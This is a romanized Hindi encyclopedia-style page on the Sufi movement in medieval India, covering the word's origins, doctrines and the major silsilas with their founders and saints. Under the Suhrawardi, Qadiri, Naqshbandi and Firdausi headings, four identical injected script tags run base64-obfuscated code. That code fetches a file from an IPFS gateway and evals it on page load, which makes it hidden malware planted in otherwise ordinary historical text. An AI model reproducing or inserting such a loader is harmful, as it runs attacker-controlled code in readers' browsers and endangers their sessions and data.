सूफ़ी आन्दोलन

madhy kal ke dauran do paraspar virodhi asthaoan evan vishvasoan ke khilaf sudhar ati avashyak ho gaya tha. is samay samaj mean aise sudhar ki sakht avashyakata thi, jisake dvara hindoo dharm ke karmakand evan islam dharm mean kattar panthiyoan ke prabhav ko kam kiya ja sake. dasavian shatabdi ke bad in paramparagat roodhivadi pravritiyoan par aankush lagane ke lie islam evan hindoo dharm mean do mahattvapoorn rahasyavadi andolanoan-soofi andolan evan bhakti andolan ka shubharanbh hua. in andolanoan ne vyapak adhyatmikata evan advaitavad par bal diya, sath hi nirarthak karmakand, adambar evan kattarapanth ke sthan par prem, udaratavad evan gahan bhakti ko apana adarsh banaya.

soofi shabd ki utpatti

aboo nasr al siraj ki pustak ‘kitab-ul-luma’ mean kiye gaye ullekh ke adhar par mana jata hai ki, soofi shabd ki utpatti arabi shabd ‘soof’ (oon) se huee, jo ek prakar se ooni vastr ka soochak hai, jise prarambhik soofi log pahana karate the. ‘safa’ se bhi utpatti mani jati hai. safa ka arth 'pavitrata' ya 'vishuddhata' se hai. is prakar achar-vyavahar se pavitr log soofi kahe jate the. ek any mat ke anusar- hajarat muhammad sahab dvara madina mean nirmit masjid ke bahar safa arthath 'makka ki paha di' par kuchh logoan ne sharan lekar apane ko khuda ki aradhana mean lin kar liya, isalie ve soofi kahalaye. soofi chintak islam ka anusaran karate the, parantu ve karmakand ka virodh karate the. inake pradurbhav ka ek mahattvapoorn karan yah bhi tha ki, us samay (saltanat kal) ulema (dharmavetta) varg mean logoan ke kattarapanthi drishtikon ki pradhanata thi. saltanat kalin sultan sunni musalaman hone ke karan sunni dharmavettaoan ke adeshoan ka palan karate the aur sath hi shiya sampraday ke logoan ko mahatv nahian dete the. soofiyoan ne inaki pradhanata ko chunauti di tatha ulemaoan ke mahatv ko nakara.

vicharadhara

vibhinn sampraday tatha unake sansthapak

sampraday	sansthapak
chishti sampraday	khvaja mueenuddin chishti (12 vian shatabdi)
suharavardi sampraday	shihabuddin suharavardi (12vian shatabdi)
kadiri sampraday	shekh abdul kadir jilani (16vian shatabdi)
shattari sampraday	shah abdul shattari (15vian shatabdi)
firadausi sampraday	badarooddin
naqshabandi sampraday	khvaja baki villah (16vian shatabdi)

prarambhik soofiyoan mean ‘rabiya’ (8vian sadi) evan 'mansoor hallaj' (10 vian sadi) ka nam mahattvapoorn hai. mansoor hallaj aise pahale soofi sadhak the, jo svayan ko ‘analahak’ ghoshit kar soofi vicharadhara ke pratik bane. soofi sansar mean sabase pahale ibnul arabi dvara diye gaye siddhant 'vahadat-ul-vujood' ka ulemaoan ne jamakar virodh kiya. vahadat-ul-vujood ka arth hai - eeshvar ek hai aur vah sansar ki sabhi vastuoan ka nimitt hai. is prakar vahadat-ul-vujood ekeshvaravad ka samanarthi hai. ulema varg ke logoan ne brahma tatha jiv ke madhy malik evan gulam ke rishte hi kalpana ki, doosari or soofiyoan ne eeshvar ko adrishy, sampoorn vastavikata aur shashvat sauandary ke roop mean mana. soofi sant eeshvar ko ‘priyatama’ evan svayan ko ‘priyatam’ manate the. unaka vishvas tha ki, eeshvar ki prapti prem-sangit se ki ja sakati hai. atah soofiyoan ne saundary evan sangit ko adhik mahatv diya. soofi guru ko adhik mahatv dete the, kyoanki ve guru ko eeshvar prapti ke marg ka path pradarshak manate the. soofi sant bhautik evan bhog vilas se yukt jivan se door saral, sade, sanyamapoorn jivan mean astha rakhate the. prarambh mean soofi andolan khurasan praant ke as-pas visheshakar balkh shahar evan irak tatha misr mean kendrit raha. bharat mean is andolanoan ka arambh dilli saltanat se poorv hi ho chuka tha.

soofi shikshaoan ka prachar-prasar

gyarahavian evan barahavian shatabdi mean lahaur evan multan mean kee soofi santoan ka jamaghat hua. muslim srot ke adhar par qarib 125 soofi dharm sanghoan ke astitv ki bat kahi jati hai. abul fazal ne aina-e-akabari mean qarib 14 soofi silasiloan ke bare mean ullekh kiya hai. inamean se keval do silasiloan ka hi gahara prabhav bharatiy jan-jivan par p da. ve log jo soofi santoan se shishyata grahan karate the, unhean ‘murid’ kaha jata tha. soofi jin ashramoan mean nivas karate the, unhean ‘khanakah’ v ‘math’ kaha jata tha. ek soofi ko paramapad prapt karane se poorv das avasthaoan - 'tauba' (pashchatap), 'baja' (sanyam), 'tabakul' (pratijna), 'juhad' (bhakti), 'phagr' (nirdhanata), 'sabr' (santosh), 'rija' (atm samarpan), 'shukr' (abhar), 'khauf' (dar), 'raja' (ummid) adi se guzarana p data tha. soofi santoan ne apani shikshaoan ka prachar-prasar jan sadharan ki bhasha mean kiya. inake prayatnoan se hindi, urdoo ke sath any prantiy bhashaoan ka bhi vikas hua. soofiyoan ke dharmasangh ‘ba-shara’ (islami siddhant ke samarthak), aur ‘be-shara’ (islami siddhant se bandhe nahian) mean vibhajit the. bharat mean dono mat ke log the. bharat mean chishti evan suharavardi silasile ki j de kafi gahari thian.

chishti dharm sangh evan sant

soofi sant evan unaki upadhiyaan

soofi sant	upadhi
shekh nizamuddin auliya	mahaboobe ilahi
shekh nasiruddin mahamood	chirag-e-dilli
saiyyad muhammad gesoodaraj	banda navaj
shekh ahamad sarahindi	mujadih aliphasani

12vian shatabdi mean anek soofi sant bharat aye. 'chishti dharm sangh' ki sthapana khvaja aboo ahamad abdal chisht (874-965 ee.) ne herat mean ki thi. 1192 ee. mean muhammad gori ke sath 'khvaja mueenuddin chishti' bharat aye. unhoanne yahaan ‘chishtiya parampara’ ki sthapana ki. unaki gatividhiyoan ka mukhy kendr ajamer tha. inhean 'gari-e-navaj' kaha jata hai. sath hi any kendr naranaul, haansi, sarabar, badayooan tatha nagaur the. kuchh any soofi santoan mean 'baba farid, 'bakhtiyar kaki' evan 'shekh burahanuddin garib' the.

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hindoo-muslim ekata par bal

nizamuddin auliya ke sabase priy shishy amir khusaro the. amir khusaro ne auliya ki mrityu ka samachar sunane ke doosare din hi pran tyag diye the. shekh nizamuddin auliya ne amir khusaro ko “tarkullah” kahakar sanbodhit kiya tha. auliya ne yog ki pranayam paddhati ko is had tak apanaya ki, unhean “yogi siddh” kaha jane laga. khvaja nizamuddin auliya ko sangit se vishesh lagav tha. bangal mean chishtiya mat ka prachar shekh sirajuddin usmani ne kiya. inhe ‘akhiri siraj’ kaha gaya. shekh burahanuddin garib ne 1340 ee. mean dakshini bharat ke kshetroan mean chishti sampraday ki shuruat ki aur daulatabad ko apana mukhy kendr banaya. chishtiyoan ne hindoo-muslim ke madhy kisi bhi prakar ke bhedabhav ka k da virodh kiya. unho^ne sanyamapoorn, sadharan jivan vyatit karate hue logoan se unhian ki bhasha mean vichar-vinimay kiya. is sampraday ke soofi sant hindoo evan muslim donoan samudayoan mean saman bhav se poojaniy the. burahanapur ke ek pramukh soofian sant 'saiyyad muhammad gesoodaraj' ko 'banda navaj' kaha jata hai.

suharavardi sampraday

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

is sangh ko 'silasila' bhi kaha jata hai. isaki sthapana shekh shihabuddin umar suharavardi ne ki, kintu 1262 ee. mean isake sudridh sanchalan ka shrey shekh badaruddin jakariya ko hai, jinhoanne multan mean ek shanadar math ki sthapana ki tatha siandh evan multan ko mukhy kendr banaya. shekh bahauddin jakariya ke baba farid ganj-e-shakar se ghanishth sambandh the. is sampraday ke any pramukh sant the- jalaluddin tabariji, saiyyad surkh josh, burahan adi. siandh, gujarat, bangal, haidarabad evan bijapur ke kshetroan mean is silasile ka prachar-prasar hua.

kadiri sampraday

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

is sampraday ki sthapana saiyyad abul kadi al gilani ne ki thi. inako 'piran-e-pir' (santo ke pradhan) tatha 'pir-e-dastagir' (madadagar sant) adi ki upadhiyaan prapt thian. bharat mean is sangh ya silasile ke pravartak muhammad gaus the. kadiri silasile ke anuyayi gane-bajane ke virodhi the. ve hare rang ki pag diyaan pahanate the.

naqshabandi sampraday

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

isaki sthapana khvaja ubedulla ne ki. bharat mean is silasile ka prachar 'khvaja baki villah' ke shishy evan akabar ke samakalin 'shekh ahamad sarahindi' ne kiya. shekh ahamad sarahindi ‘mujahid’ arthath islam ke navajivanadata ya sudharak ke roop mean prasiddh the. khvaja mir dard nakshabandi sampraday ke antim vikhyat sant the. unhoanne ek alag mat ‘ilme ilahi muhammadi’ chalaya. isase sambandhit tarah-tarah ke nakshe banakar usamean rang bharate the. aurangazeb, shekh ahamad sarahindi ke putr shekh masoom ka shishy tha.

firadausi silasila

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

is silasile ke sansthapak madhy eshiya ke saiphuddin bakharaji the. yah silasala suharavardi silasile ki hi ek shakha thi. is silasile ka bharat mean kary kshetr bihar mean tha. badaruddin samarangaji, ahamad yahaya manairi adi is silasile ke pramukh sant the. soofi siddhantoan evan paddhatiyoan ne hindoo darshan aur bhakti ke vibhinn tatvoan ko atmasat kiya. soofiyoan ke mathavasiy sangathanoan evan unaki kuchh paddhatiyoan, jaise- prayashyit, upavas evan pranayam mean bauddh evan hindoo yogiyoan ka prabhav jhalakata hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh